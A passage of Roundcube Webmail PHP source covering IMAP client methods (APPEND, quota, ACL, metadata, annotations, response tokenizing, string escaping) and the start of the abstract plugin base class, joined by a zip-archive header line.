        $key = $this->nextTag();
        $request = "$key APPEND " . $this->escape($mailbox) . ' (' . $this->flagsToStr($flags) . ')';
        if (!empty($date)) {
            $request .= ' ' . $this->escape($date);
        }
        $request .= ' ' . ($binary ? '~' : '') . '{' . $len . ($literal_plus ? '+' : '') . '}';

        // send APPEND command
        if (!$this->putLine($request)) {
            $this->setError(self::ERROR_COMMAND, "Failed to send APPEND command");
            return false;
        }

        // Do not wait when LITERAL+ is supported
        if (!$literal_plus) {
            $line = $this->readReply();

            if ($line[0] != '+') {
                $this->parseResult($line, 'APPEND: ');
                return false;
            }
        }

        foreach ($msg as $msg_part) {
            // file pointer
            if (is_resource($msg_part)) {
                rewind($msg_part);
                while (!feof($msg_part) && $this->fp) {
                    $buffer = fread($msg_part, $chunk_size);
                    $this->putLine($buffer, false);
                }
                fclose($msg_part);
            }
            // string
            else {
                $size = strlen($msg_part);

                // Break up the data by sending one chunk (up to 512k) at a time.
                // This approach reduces our peak memory usage
                for ($offset = 0; $offset < $size; $offset += $chunk_size) {
                    $chunk = substr($msg_part, $offset, $chunk_size);
                    if (!$this->putLine($chunk, false)) {
                        return false;
                    }
                }
            }
        }

        if (!$this->putLine('')) { // \r\n
            return false;
        }

        do {
            $line = $this->readLine();
        } while (!$this->startsWith($line, $key, true, true));

        // Clear internal status cache
        unset($this->data['STATUS:'.$mailbox]);

        if ($this->parseResult($line, 'APPEND: ') != self::ERROR_OK) {
            return false;
        }

        if (!empty($this->data['APPENDUID'])) {
            return $this->data['APPENDUID'];
        }

        return true;
    }

    /**
     * Handler for IMAP APPEND command.
     *
     * @param string $mailbox Mailbox name
     * @param string $path    Path to the file with message body
     * @param string $headers Message headers
     * @param array  $flags   Message flags
     * @param string $date    Message internal date
     * @param bool   $binary  Enable BINARY append (RFC3516)
     *
     * @return string|bool On success APPENDUID response (if available) or True, False on failure
     */
    public function appendFromFile($mailbox, $path, $headers = null, $flags = [], $date = null, $binary = false)
    {
        // open message file
        if (file_exists(realpath($path))) {
            $fp = fopen($path, 'r');
        }

        if (empty($fp)) {
            $this->setError(self::ERROR_UNKNOWN, "Couldn't open $path for reading");
            return false;
        }

        $message = [];
        if ($headers) {
            $message[] = trim($headers, "\r\n") . "\r\n\r\n";
        }
        $message[] = $fp;

        return $this->append($mailbox, $message, $flags, $date, $binary);
    }

    /**
     * Returns QUOTA information
     *
     * @param string $mailbox Mailbox name
     *
     * @return array|false Quota information, False on error
     */
    public function getQuota($mailbox = null)
    {
        if ($mailbox === null || $mailbox === '') {
            $mailbox = 'INBOX';
        }

        // a0001 GETQUOTAROOT INBOX
        // * QUOTAROOT INBOX user/sample
        // * QUOTA user/sample (STORAGE 654 9765)
        // a0001 OK Completed

        list($code, $response) = $this->execute('GETQUOTAROOT', [$this->escape($mailbox)], 0, '/^\* QUOTA /i');

        if ($code != self::ERROR_OK) {
            return false;
        }

        $min_free = PHP_INT_MAX;
        $result   = [];
        $all      = [];

        foreach (explode("\n", $response) as $line) {
            $tokens     = $this->tokenizeResponse($line, 3);
            $quota_root = $tokens[2] ?? null;
            $quotas     = $this->tokenizeResponse($line, 1);

            if (empty($quotas)) {
                continue;
            }

            foreach (array_chunk($quotas, 3) as $quota) {
                list($type, $used, $total) = $quota;
                $type = strtolower($type);

                if ($type && $total) {
                    $all[$quota_root][$type]['used']  = intval($used);
                    $all[$quota_root][$type]['total'] = intval($total);
                }
            }

            if (empty($all[$quota_root]['storage'])) {
                continue;
            }

            $used  = $all[$quota_root]['storage']['used'];
            $total = $all[$quota_root]['storage']['total'];
            $free  = $total - $used;

            // calculate lowest available space from all storage quotas
            if ($free < $min_free) {
                $min_free          = $free;
                $result['used']    = $used;
                $result['total']   = $total;
                $result['percent'] = min(100, round(($used/max(1,$total))*100));
                $result['free']    = 100 - $result['percent'];
            }
        }

        if (!empty($result)) {
            $result['all'] = $all;
        }

        return $result;
    }

    /**
     * Send the SETACL command (RFC4314)
     *
     * @param string $mailbox Mailbox name
     * @param string $user    User name
     * @param mixed  $acl     ACL string or array
     *
     * @return bool True on success, False on failure
     *
     * @since 0.5-beta
     */
    public function setACL($mailbox, $user, $acl)
    {
        if (is_array($acl)) {
            $acl = implode('', $acl);
        }

        $result = $this->execute('SETACL',
            [$this->escape($mailbox), $this->escape($user), strtolower($acl)],
            self::COMMAND_NORESPONSE
        );

        return $result == self::ERROR_OK;
    }

    /**
     * Send the DELETEACL command (RFC4314)
     *
     * @param string $mailbox Mailbox name
     * @param string $user    User name
     *
     * @return bool True on success, False on failure
     *
     * @since 0.5-beta
     */
    public function deleteACL($mailbox, $user)
    {
        $result = $this->execute('DELETEACL',
            [$this->escape($mailbox), $this->escape($user)],
            self::COMMAND_NORESPONSE
        );

        return $result == self::ERROR_OK;
    }

    /**
     * Send the GETACL command (RFC4314)
     *
     * @param string $mailbox Mailbox name
     *
     * @return array User-rights array on success, NULL on error
     * @since 0.5-beta
     */
    public function getACL($mailbox)
    {
        list($code, $response) = $this->execute('GETACL', [$this->escape($mailbox)], 0, '/^\* ACL /i');

        if ($code == self::ERROR_OK && $response) {
            // Parse server response (remove "* ACL ")
            $response = substr($response, 6);
            $ret  = $this->tokenizeResponse($response);
            $mbox = array_shift($ret);
            $size = count($ret);

            // Create user-rights hash array
            // @TODO: consider implementing fixACL() method according to RFC4314.2.1.1
            // so we could return only standard rights defined in RFC4314,
            // excluding 'c' and 'd' defined in RFC2086.
            if ($size % 2 == 0) {
                for ($i=0; $i<$size; $i++) {
                    $ret[$ret[$i]] = str_split($ret[++$i]);
                    unset($ret[$i-1]);
                    unset($ret[$i]);
                }
                return $ret;
            }

            $this->setError(self::ERROR_COMMAND, "Incomplete ACL response");
        }
    }

    /**
     * Send the LISTRIGHTS command (RFC4314)
     *
     * @param string $mailbox Mailbox name
     * @param string $user    User name
     *
     * @return array List of user rights
     * @since 0.5-beta
     */
    public function listRights($mailbox, $user)
    {
        list($code, $response) = $this->execute('LISTRIGHTS',
            [$this->escape($mailbox), $this->escape($user)], 0, '/^\* LISTRIGHTS /i');

        if ($code == self::ERROR_OK && $response) {
            // Parse server response (remove "* LISTRIGHTS ")
            $response = substr($response, 13);

            $ret_mbox = $this->tokenizeResponse($response, 1);
            $ret_user = $this->tokenizeResponse($response, 1);
            $granted  = $this->tokenizeResponse($response, 1);
            $optional = trim($response);

            return [
                'granted'  => str_split($granted),
                'optional' => explode(' ', $optional),
            ];
        }
    }

    /**
     * Send the MYRIGHTS command (RFC4314)
     *
     * @param string $mailbox Mailbox name
     *
     * @return array MYRIGHTS response on success, NULL on error
     * @since 0.5-beta
     */
    public function myRights($mailbox)
    {
        list($code, $response) = $this->execute('MYRIGHTS', [$this->escape($mailbox)], 0, '/^\* MYRIGHTS /i');

        if ($code == self::ERROR_OK && $response) {
            // Parse server response (remove "* MYRIGHTS ")
            $response = substr($response, 11);

            $ret_mbox = $this->tokenizeResponse($response, 1);
            $rights   = $this->tokenizeResponse($response, 1);

            return str_split($rights);
        }
    }

    /**
     * Send the SETMETADATA command (RFC5464)
     *
     * @param string $mailbox Mailbox name
     * @param array  $entries Entry-value array (use NULL value as NIL)
     *
     * @return bool True on success, False on failure
     * @since 0.5-beta
     */
    public function setMetadata($mailbox, $entries)
    {
        if (!is_array($entries) || empty($entries)) {
            $this->setError(self::ERROR_COMMAND, "Wrong argument for SETMETADATA command");
            return false;
        }

        foreach ($entries as $name => $value) {
            $entries[$name] = $this->escape($name) . ' ' . $this->escape($value, true);
        }

        $entries = implode(' ', $entries);
        $result = $this->execute('SETMETADATA',
            [$this->escape($mailbox), '(' . $entries . ')'],
            self::COMMAND_NORESPONSE
        );

        return $result == self::ERROR_OK;
    }

    /**
     * Send the SETMETADATA command with NIL values (RFC5464)
     *
     * @param string $mailbox Mailbox name
     * @param array  $entries Entry names array
     *
     * @return bool True on success, False on failure
     *
     * @since 0.5-beta
     */
    public function deleteMetadata($mailbox, $entries)
    {
        if (!is_array($entries) && !empty($entries)) {
            $entries = explode(' ', $entries);
        }

        if (empty($entries)) {
            $this->setError(self::ERROR_COMMAND, "Wrong argument for SETMETADATA command");
            return false;
        }

        $data = [];
        foreach ($entries as $entry) {
            $data[$entry] = null;
        }

        return $this->setMetadata($mailbox, $data);
    }

    /**
     * Send the GETMETADATA command (RFC5464)
     *
     * @param string $mailbox Mailbox name
     * @param array  $entries Entries
     * @param array  $options Command options (with MAXSIZE and DEPTH keys)
     *
     * @return array GETMETADATA result on success, NULL on error
     *
     * @since 0.5-beta
     */
    public function getMetadata($mailbox, $entries, $options = [])
    {
        if (!is_array($entries)) {
            $entries = [$entries];
        }

        $args = [];

        // create options string
        if (is_array($options)) {
            $options = array_change_key_case($options, CASE_UPPER);
            $opts    = [];

            if (!empty($options['MAXSIZE'])) {
                $opts[] = 'MAXSIZE '.intval($options['MAXSIZE']);
            }

            if (isset($options['DEPTH'])) {
                $opts[] = 'DEPTH ' . $this->escape($options['DEPTH']);
            }

            if (!empty($opts)) {
                $args[] = $opts;
            }
        }

        $args[] = $this->escape($mailbox);
        $args[] = array_map([$this, 'escape'], $entries);

        list($code, $response) = $this->execute('GETMETADATA', $args);

        if ($code == self::ERROR_OK) {
            $result = [];
            $data   = $this->tokenizeResponse($response);

            // The METADATA response can contain multiple entries in a single
            // response or multiple responses for each entry or group of entries
            for ($i = 0, $size = count($data); $i < $size; $i++) {
                if ($data[$i] === '*'
                    && $data[++$i] === 'METADATA'
                    && is_string($mbox = $data[++$i])
                    && is_array($data[++$i])
                ) {
                    for ($x = 0, $size2 = count($data[$i]); $x < $size2; $x += 2) {
                        if ($data[$i][$x+1] !== null) {
                            $result[$mbox][$data[$i][$x]] = $data[$i][$x+1];
                        }
                    }
                }
            }

            return $result;
        }
    }

    /**
     * Send the SETANNOTATION command (draft-daboo-imap-annotatemore)
     *
     * @param string $mailbox Mailbox name
     * @param array  $data    Data array where each item is an array with
     *                        three elements: entry name, attribute name, value
     *
     * @return bool True on success, False on failure
     * @since 0.5-beta
     */
    public function setAnnotation($mailbox, $data)
    {
        if (!is_array($data) || empty($data)) {
            $this->setError(self::ERROR_COMMAND, "Wrong argument for SETANNOTATION command");
            return false;
        }

        foreach ($data as $entry) {
            // ANNOTATEMORE drafts before version 08 require quoted parameters
            $entries[] = sprintf('%s (%s %s)', $this->escape($entry[0], true),
                $this->escape($entry[1], true), $this->escape($entry[2], true));
        }

        $entries = implode(' ', $entries);
        $result  = $this->execute('SETANNOTATION', [$this->escape($mailbox), $entries], self::COMMAND_NORESPONSE);

        return $result == self::ERROR_OK;
    }

    /**
     * Send the SETANNOTATION command with NIL values (draft-daboo-imap-annotatemore)
     *
     * @param string $mailbox Mailbox name
     * @param array  $data    Data array where each item is an array with
     *                        two elements: entry name and attribute name
     *
     * @return bool True on success, False on failure
     *
     * @since 0.5-beta
     */
    public function deleteAnnotation($mailbox, $data)
    {
        if (!is_array($data) || empty($data)) {
            $this->setError(self::ERROR_COMMAND, "Wrong argument for SETANNOTATION command");
            return false;
        }

        return $this->setAnnotation($mailbox, $data);
    }

    /**
     * Send the GETANNOTATION command (draft-daboo-imap-annotatemore)
     *
     * @param string $mailbox Mailbox name
     * @param array  $entries Entries names
     * @param array  $attribs Attribs names
     *
     * @return array Annotations result on success, NULL on error
     *
     * @since 0.5-beta
     */
    public function getAnnotation($mailbox, $entries, $attribs)
    {
        if (!is_array($entries)) {
            $entries = [$entries];
        }

        // create entries string
        // ANNOTATEMORE drafts before version 08 require quoted parameters
        foreach ($entries as $idx => $name) {
            $entries[$idx] = $this->escape($name, true);
        }
        $entries = '(' . implode(' ', $entries) . ')';

        if (!is_array($attribs)) {
            $attribs = [$attribs];
        }

        // create attributes string
        foreach ($attribs as $idx => $name) {
            $attribs[$idx] = $this->escape($name, true);
        }
        $attribs = '(' . implode(' ', $attribs) . ')';

        list($code, $response) = $this->execute('GETANNOTATION', [$this->escape($mailbox), $entries, $attribs]);

        if ($code == self::ERROR_OK) {
            $result     = [];
            $data       = $this->tokenizeResponse($response);
            $last_entry = null;

            // Here we returns only data compatible with METADATA result format
            if (!empty($data) && ($size = count($data))) {
                for ($i=0; $i<$size; $i++) {
                    $entry = $data[$i];
                    if (isset($mbox) && is_array($entry)) {
                        $attribs = $entry;
                        $entry   = $last_entry;
                    }
                    else if ($entry == '*') {
                        if ($data[$i+1] == 'ANNOTATION') {
                            $mbox = $data[$i+2];
                            unset($data[$i]);   // "*"
                            unset($data[++$i]); // "ANNOTATION"
                            unset($data[++$i]); // Mailbox
                        }
                        // get rid of other untagged responses
                        else {
                            unset($mbox);
                            unset($data[$i]);
                        }
                        continue;
                    }
                    else if (isset($mbox)) {
                        $attribs = $data[++$i];
                    }
                    else {
                        unset($data[$i]);
                        continue;
                    }

                    if (!empty($attribs)) {
                        for ($x=0, $len=count($attribs); $x<$len;) {
                            $attr  = $attribs[$x++];
                            $value = $attribs[$x++];
                            if ($attr == 'value.priv' && $value !== null) {
                                $result[$mbox]['/private' . $entry] = $value;
                            }
                            else if ($attr == 'value.shared' && $value !== null) {
                                $result[$mbox]['/shared' . $entry] = $value;
                            }
                        }
                    }

                    $last_entry = $entry;
                    unset($data[$i]);
                }
            }

            return $result;
        }
    }

    /**
     * Returns BODYSTRUCTURE for the specified message.
     *
     * @param string $mailbox Folder name
     * @param int    $id      Message sequence number or UID
     * @param bool   $is_uid  True if $id is an UID
     *
     * @return array|bool Body structure array or False on error.
     * @since 0.6
     */
    public function getStructure($mailbox, $id, $is_uid = false)
    {
        $result = $this->fetch($mailbox, $id, $is_uid, ['BODYSTRUCTURE']);

        if (is_array($result) && !empty($result)) {
            $result = array_first($result);
            return $result->bodystructure;
        }

        return false;
    }

    /**
     * Returns data of a message part according to specified structure.
     *
     * @param array  $structure Message structure (getStructure() result)
     * @param string $part      Message part identifier
     *
     * @return array Part data as hash array (type, encoding, charset, size)
     */
    public static function getStructurePartData($structure, $part)
    {
        $part_a = self::getStructurePartArray($structure, $part);
        $data   = [];

        if (empty($part_a)) {
            return $data;
        }

        // content-type
        if (is_array($part_a[0])) {
            $data['type'] = 'multipart';
        }
        else {
            $data['type']     = strtolower($part_a[0]);
            $data['subtype']  = strtolower($part_a[1]);
            $data['encoding'] = strtolower($part_a[5]);

            // charset
            if (is_array($part_a[2])) {
               foreach ($part_a[2] as $key => $val) {
                    if (strcasecmp($val, 'charset') == 0) {
                        $data['charset'] = $part_a[2][$key+1];
                        break;
                    }
                }
            }
        }

        // size
        $data['size'] = intval($part_a[6]);

        return $data;
    }

    public static function getStructurePartArray($a, $part)
    {
        if (!is_array($a)) {
            return false;
        }

        if (empty($part)) {
            return $a;
        }

        $ctype = is_string($a[0]) && is_string($a[1]) ? $a[0] . '/' . $a[1] : '';

        if (strcasecmp($ctype, 'message/rfc822') == 0) {
            $a = $a[8];
        }

        if (strpos($part, '.') > 0) {
            $orig_part = $part;
            $pos       = strpos($part, '.');
            $rest      = substr($orig_part, $pos+1);
            $part      = substr($orig_part, 0, $pos);

            return self::getStructurePartArray($a[$part-1], $rest);
        }
        else if ($part > 0) {
            return is_array($a[$part-1]) ? $a[$part-1] : $a;
        }
    }

    /**
     * Creates next command identifier (tag)
     *
     * @return string Command identifier
     * @since 0.5-beta
     */
    public function nextTag()
    {
        $this->cmd_num++;
        $this->cmd_tag = sprintf('A%04d', $this->cmd_num);

        return $this->cmd_tag;
    }

    /**
     * Sends IMAP command and parses result
     *
     * @param string $command   IMAP command
     * @param array  $arguments Command arguments
     * @param int    $options   Execution options
     * @param string $filter    Line filter (regexp)
     *
     * @return mixed Response code or list of response code and data
     * @since 0.5-beta
     */
    public function execute($command, $arguments = [], $options = 0, $filter = null)
    {
        $tag      = $this->nextTag();
        $query    = $tag . ' ' . $command;
        $noresp   = ($options & self::COMMAND_NORESPONSE);
        $response = $noresp ? null : '';

        if (!empty($arguments)) {
            foreach ($arguments as $arg) {
                $query .= ' ' . self::r_implode($arg);
            }
        }

        // Send command
        if (!$this->putLineC($query, true, ($options & self::COMMAND_ANONYMIZED))) {
            preg_match('/^[A-Z0-9]+ ((UID )?[A-Z]+)/', $query, $matches);
            $cmd = $matches[1] ?: 'UNKNOWN';
            $this->setError(self::ERROR_COMMAND, "Failed to send $cmd command");

            return $noresp ? self::ERROR_COMMAND : [self::ERROR_COMMAND, ''];
        }

        // Parse response
        do {
            $line = $this->readFullLine(4096);

            if ($response !== null) {
                if (!$filter || preg_match($filter, $line)) {
                    $response .= $line;
                }
            }

            // parse untagged response for [COPYUID 1204196876 3456:3457 123:124] (RFC6851)
            if ($line && $command == 'UID MOVE') {
                if (preg_match("/^\* OK \[COPYUID [0-9]+ ([0-9,:]+) ([0-9,:]+)\]/i", $line, $m)) {
                    $this->data['COPYUID'] = [$m[1], $m[2]];
                }
            }
        }
        while (!$this->startsWith($line, $tag . ' ', true, true));

        $code = $this->parseResult($line, $command . ': ');

        // Remove last line from response
        if ($response) {
            if (!$filter) {
                $line_len = min(strlen($response), strlen($line));
                $response = substr($response, 0, -$line_len);
            }

            $response = rtrim($response, "\r\n");
        }

        // optional CAPABILITY response
        if (($options & self::COMMAND_CAPABILITY) && $code == self::ERROR_OK
            && preg_match('/\[CAPABILITY ([^]]+)\]/i', $line, $matches)
        ) {
            $this->parseCapability($matches[1], true);
        }

        // return last line only (without command tag, result and response code)
        if ($line && ($options & self::COMMAND_LASTLINE)) {
            $response = preg_replace("/^$tag (OK|NO|BAD|BYE|PREAUTH)?\s*(\[[a-z-]+\])?\s*/i", '', trim($line));
        }

        return $noresp ? $code : [$code, $response];
    }

    /**
     * Splits IMAP response into string tokens
     *
     * @param string &$str The IMAP's server response
     * @param int    $num  Number of tokens to return
     *
     * @return mixed Tokens array or string if $num=1
     * @since 0.5-beta
     */
    public static function tokenizeResponse(&$str, $num=0)
    {
        $result = [];

        while (!$num || count($result) < $num) {
            // remove spaces from the beginning of the string
            $str = ltrim($str);

            // empty string
            if ($str === '' || $str === null) {
                break;
            }

            switch ($str[0]) {

            // String literal
            case '{':
                if (($epos = strpos($str, "}\r\n", 1)) == false) {
                    // error
                }
                if (!is_numeric(($bytes = substr($str, 1, $epos - 1)))) {
                    // error
                }

                $result[] = $bytes ? substr($str, $epos + 3, $bytes) : '';
                $str      = substr($str, $epos + 3 + $bytes);
                break;

            // Quoted string
            case '"':
                $len = strlen($str);

                for ($pos=1; $pos<$len; $pos++) {
                    if ($str[$pos] == '"') {
                        break;
                    }
                    if ($str[$pos] == "\\") {
                        if ($str[$pos + 1] == '"' || $str[$pos + 1] == "\\") {
                            $pos++;
                        }
                    }
                }

                // we need to strip slashes for a quoted string
                $result[] = stripslashes(substr($str, 1, $pos - 1));
                $str      = substr($str, $pos + 1);
                break;

            // Parenthesized list
            case '(':
                $str      = substr($str, 1);
                $result[] = self::tokenizeResponse($str);
                break;

            case ')':
                $str = substr($str, 1);
                return $result;

            // String atom, number, astring, NIL, *, %
            default:
                // excluded chars: SP, CTL, ), DEL
                // we do not exclude [ and ] (#1489223)
                if (preg_match('/^([^\x00-\x20\x29\x7F]+)/', $str, $m)) {
                    $result[] = $m[1] == 'NIL' ? null : $m[1];
                    $str      = substr($str, strlen($m[1]));
                }

                break;
            }
        }

        return $num == 1 ? ($result[0] ?? '') : $result;
    }

    /**
     * Joins IMAP command line elements (recursively)
     */
    protected static function r_implode($element)
    {
        if (!is_array($element)) {
            return $element;
        }

        reset($element);

        $string = '';

        foreach ($element as $value) {
            $string .= ' ' . self::r_implode($value);
        }

        return '(' . trim($string) . ')';
    }

    /**
     * Converts message identifiers array into sequence-set syntax
     *
     * @param array $messages Message identifiers
     * @param bool  $force    Forces compression of any size
     *
     * @return string Compressed sequence-set
     */
    public static function compressMessageSet($messages, $force = false)
    {
        // given a comma delimited list of independent mid's,
        // compresses by grouping sequences together
        if (!is_array($messages)) {
            // if less than 255 bytes long, let's not bother
            if (!$force && strlen($messages) < 255) {
                return preg_match('/[^0-9:,*]/', $messages) ? 'INVALID' : $messages;
            }

            // see if it's already been compressed
            if (strpos($messages, ':') !== false) {
                return preg_match('/[^0-9:,*]/', $messages) ? 'INVALID' : $messages;
            }

            // separate, then sort
            $messages = explode(',', $messages);
        }

        sort($messages);

        $result = [];
        $start  = $prev = $messages[0];

        foreach ($messages as $id) {
            $incr = $id - $prev;
            if ($incr > 1) { // found a gap
                if ($start == $prev) {
                    $result[] = $prev; // push single id
                }
                else {
                    $result[] = $start . ':' . $prev; // push sequence as start_id:end_id
                }
                $start = $id; // start of new sequence
            }
            $prev = $id;
        }

        // handle the last sequence/id
        if ($start == $prev) {
            $result[] = $prev;
        }
        else {
            $result[] = $start.':'.$prev;
        }

        // return as comma separated string
        $result = implode(',', $result);

        return preg_match('/[^0-9:,*]/', $result) ? 'INVALID' : $result;
    }

    /**
     * Converts message sequence-set into array
     *
     * @param string $messages Message identifiers
     *
     * @return array List of message identifiers
     */
    public static function uncompressMessageSet($messages)
    {
        if (empty($messages)) {
            return [];
        }

        $result   = [];
        $messages = explode(',', $messages);

        foreach ($messages as $idx => $part) {
            $items = explode(':', $part);

            if (!empty($items[1]) && $items[1] > $items[0]) {
                $max = $items[1];
            }
            else {
                $max = $items[0];
            }

            for ($x = $items[0]; $x <= $max; $x++) {
                $result[] = (int) $x;
            }

            unset($messages[$idx]);
        }

        return $result;
    }

    /**
     * Clear internal status cache
     */
    protected function clear_status_cache($mailbox)
    {
        unset($this->data['STATUS:' . $mailbox]);

        $keys = ['EXISTS', 'RECENT', 'UNSEEN', 'UID-MAP'];

        foreach ($keys as $key) {
            unset($this->data[$key]);
        }
    }

    /**
     * Clear internal cache of the current mailbox
     */
    protected function clear_mailbox_cache()
    {
        $this->clear_status_cache($this->selected);

        $keys = ['UIDNEXT', 'UIDVALIDITY', 'HIGHESTMODSEQ', 'NOMODSEQ',
            'PERMANENTFLAGS', 'QRESYNC', 'VANISHED', 'READ-WRITE'];

        foreach ($keys as $key) {
            unset($this->data[$key]);
        }
    }

    /**
     * Converts flags array into string for inclusion in IMAP command
     *
     * @param array $flags Flags (see self::flags)
     *
     * @return string Space-separated list of flags
     */
    protected function flagsToStr($flags)
    {
        foreach ((array) $flags as $idx => $flag) {
            if ($flag = $this->flags[strtoupper($flag)]) {
                $flags[$idx] = $flag;
            }
        }

        return implode(' ', (array) $flags);
    }

    /**
     * CAPABILITY response parser
     */
    protected function parseCapability($str, $trusted=false)
    {
        $str = preg_replace('/^\* CAPABILITY /i', '', $str);

        $this->capability = explode(' ', strtoupper($str));

        if (!empty($this->prefs['disabled_caps'])) {
            $this->capability = array_diff($this->capability, $this->prefs['disabled_caps']);
        }

        if (!isset($this->prefs['literal+']) && in_array('LITERAL+', $this->capability)) {
            $this->prefs['literal+'] = true;
        }
        else if (!isset($this->prefs['literal-']) && in_array('LITERAL-', $this->capability)) {
            $this->prefs['literal-'] = true;
        }

        if ($trusted) {
            $this->capability_read = true;
        }
    }

    /**
     * Escapes a string when it contains special characters (RFC3501)
     *
     * @param string $string       IMAP string
     * @param bool   $force_quotes Forces string quoting (for atoms)
     *
     * @return string String atom, quoted-string or string literal
     * @todo lists
     */
    public static function escape($string, $force_quotes = false)
    {
        if ($string === null) {
            return 'NIL';
        }

        if ($string === '') {
            return '""';
        }

        // atom-string (only safe characters)
        if (!$force_quotes && !preg_match('/[\x00-\x20\x22\x25\x28-\x2A\x5B-\x5D\x7B\x7D\x80-\xFF]/', $string)) {
            return $string;
        }

        // quoted-string
        if (!preg_match('/[\r\n\x00\x80-\xFF]/', $string)) {
            return '"' . addcslashes($string, '\\"') . '"';
        }

        // literal-string
        return sprintf("{%d}\r\n%s", strlen($string), $string);
    }

    /**
     * Set the value of the debugging flag.
     *
     * @param bool     $debug   New value for the debugging flag.
     * @param callable $handler Logging handler function
     *
     * @since 0.5-stable
     */
    public function setDebug($debug, $handler = null)
    {
        $this->debug         = $debug;
        $this->debug_handler = $handler;
    }

    /**
     * Write the given debug text to the current debug output handler.
     *
     * @param string $message Debug message text.
     *
     * @since 0.5-stable
     */
    protected function debug($message)
    {
        if (($len = strlen($message)) > self::DEBUG_LINE_LENGTH) {
            $diff    = $len - self::DEBUG_LINE_LENGTH;
            $message = substr($message, 0, self::DEBUG_LINE_LENGTH)
                . "... [truncated $diff bytes]";
        }

        if ($this->resourceid) {
            $message = sprintf('[%s] %s', $this->resourceid, $message);
        }

        if ($this->debug_handler) {
            call_user_func_array($this->debug_handler, [$this, $message]);
        }
        else {
            echo "DEBUG: $message\n";
        }
    }
}
PK
h�\��g�55&program/lib/Roundcube/rcube_plugin.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |  Abstract plugins interface/class                                     |
 |  All plugins need to extend this class                                |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Plugin interface class
 *
 * @package    Framework
 * @subpackage PluginAPI
 */
abstract class rcube_plugin
{
    /**
     * Class name of the plugin instance
     *
     * @var string
     */
    public $ID;

    /**
     * Instance of Plugin API
     *
     * @var rcube_plugin_api
     */
    public $api;

    /**
     * Regular expression defining task(s) to bind with
     *
     * @var string
     */
    public $task;

    /**
     * Disables plugin in AJAX requests
     *
     * @var bool
     */
    public $noajax = false;

    /**
     * Disables plugin in framed mode
     *
     * @var bool
     */
    public $noframe = false;

    /**
     * A list of config option names that can be modified
     * by the user via user interface (with save-prefs command)
     *
     * @var array
     */
    public $allowed_prefs;

    /** @var string Plugin directory location */
    protected $home;

    /** @var string Base URL to the plugin directory */
    protected $urlbase;

    /** @var string Plugin task name (if registered) */
    private $mytask;

    /** @var array List of plugin configuration files already loaded */
    private $loaded_config = [];


    /**
     * Default constructor.
     *
     * @param rcube_plugin_api $api Plugin API
     */
    public function __construct($api)
    {
        $this->ID      = get_class($this);
        $this->api     = $api;
        $this->home    = $api->dir . $this->ID;
        $this->urlbase = $api->url . $this->ID . '/';
    }

    /**
     * Initialization method, needs to be implemented by the plugin itself
     */
    abstract function init();

    /**
     * Provide information about this
     *
     * @return array Meta information about a plugin or false if not implemented.
     * As hash array with the following keys:
     *      name: The plugin name
     *    vendor: Name of the plugin developer
     *   version: Plugin version name
     *   license: License name (short form according to http://spdx.org/licenses/)
     *       uri: The URL to the plugin homepage or source repository
     *   src_uri: Direct download URL to the source code of this plugin
     *   require: List of plugins required for this one (as array of plugin names)
     */
    public static function info()
    {
        return false;
    }

    /**
     * Attempt to load the given plugin which is required for the current plugin
     *
     * @param string $plugin_name Plugin name
     *
     * @return bool True on success, false on failure
     */
    public function require_plugin($plugin_name)
    {
        return $this->api->load_plugin($plugin_name, true);
    }

    /**
     * Attempt to load the given plugin which is optional for the current plugin
     *
     * @param string $plugin_name Plugin name
     *
     * @return bool True on success, false on failure
     */
    public function include_plugin($plugin_name)
    {
        return $this->api->load_plugin($plugin_name, true, false);
    }

    /**
     * Load local config file from plugins directory.
     * The loaded values are patched over the global configuration.
     *
     * @param string $fname Config file name relative to the plugin's folder
     *
     * @return bool True on success, false on failure
     */
    public function load_config($fname = 'config.inc.php')
    {
        if (in_array($fname, $this->loaded_config)) {
            return true;
        }

        $this->loaded_config[] = $fname;

        $fpath = slashify($this->home) . $fname;
        $rcube = rcube::get_instance();

        if (($is_local = is_file($fpath)) && !$rcube->config->load_from_file($fpath)) {
            rcube::raise_error([
                    'code' => 527, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Failed to load config from $fpath"
                ], true, false
            );
            return false;
        }
        else if (!$is_local) {
            // Search plugin_name.inc.php file in any configured path
            return $rcube->config->load_from_file($this->ID . '.inc.php');
        }

        return true;
    }

    /**
     * Register a callback function for a specific (server-side) hook
     *
     * @param string $hook     Hook name
     * @param mixed  $callback Callback function as string or array
     *                         with object reference and method name
     */
    public function add_hook($hook, $callback)
    {
        $this->api->register_hook($hook, $callback);
    }

    /**
     * Unregister a callback function for a specific (server-side) hook.
     *
     * @param string $hook     Hook name
     * @param mixed  $callback Callback function as string or array
     *                         with object reference and method name
     */
    public function remove_hook($hook, $callback)
    {
        $this->api->unregister_hook($hook, $callback);
    }

    /**
     * Load localized texts from the plugins dir
     *
     * @param string $dir        Directory to search in
     * @param mixed  $add2client Make texts also available on the client
     *                           (array with list or true for all)
     */
    public function add_texts($dir, $add2client = false)
    {
        $rcube = rcube::get_instance();
        $texts = $rcube->read_localization(realpath(slashify($this->home) . $dir));

        // prepend domain to text keys and add to the application texts repository
        if (!empty($texts)) {
            $domain = $this->ID;
            $add    = [];

            foreach ($texts as $key => $value) {
                $add[$domain.'.'.$key] = $value;
            }

            $rcube->load_language($_SESSION['language'], $add);

            // add labels to client
            if ($add2client && method_exists($rcube->output, 'add_label')) {
                if (is_array($add2client)) {
                    $js_labels = array_map([$this, 'label_map_callback'], $add2client);
                }
                else {
                    $js_labels = array_keys($add);
                }

                $rcube->output->add_label($js_labels);
            }
        }
    }

    /**
     * Wrapper for add_label() adding the plugin ID as domain
     */
    public function add_label(...$args)
    {
        $rcube = rcube::get_instance();

        if (method_exists($rcube->output, 'add_label')) {
            if (count($args) == 1 && is_array($args[0])) {
                $args = $args[0];
            }

            $args = array_map([$this, 'label_map_callback'], $args);
            $rcube->output->add_label($args);
        }
    }

    /**
     * Wrapper for rcube::gettext() adding the plugin ID as domain
     *
     * @param string|array $p Named parameters array or label name
     *
     * @return string Localized text
     * @see rcube::gettext()
     */
    public function gettext($p)
    {
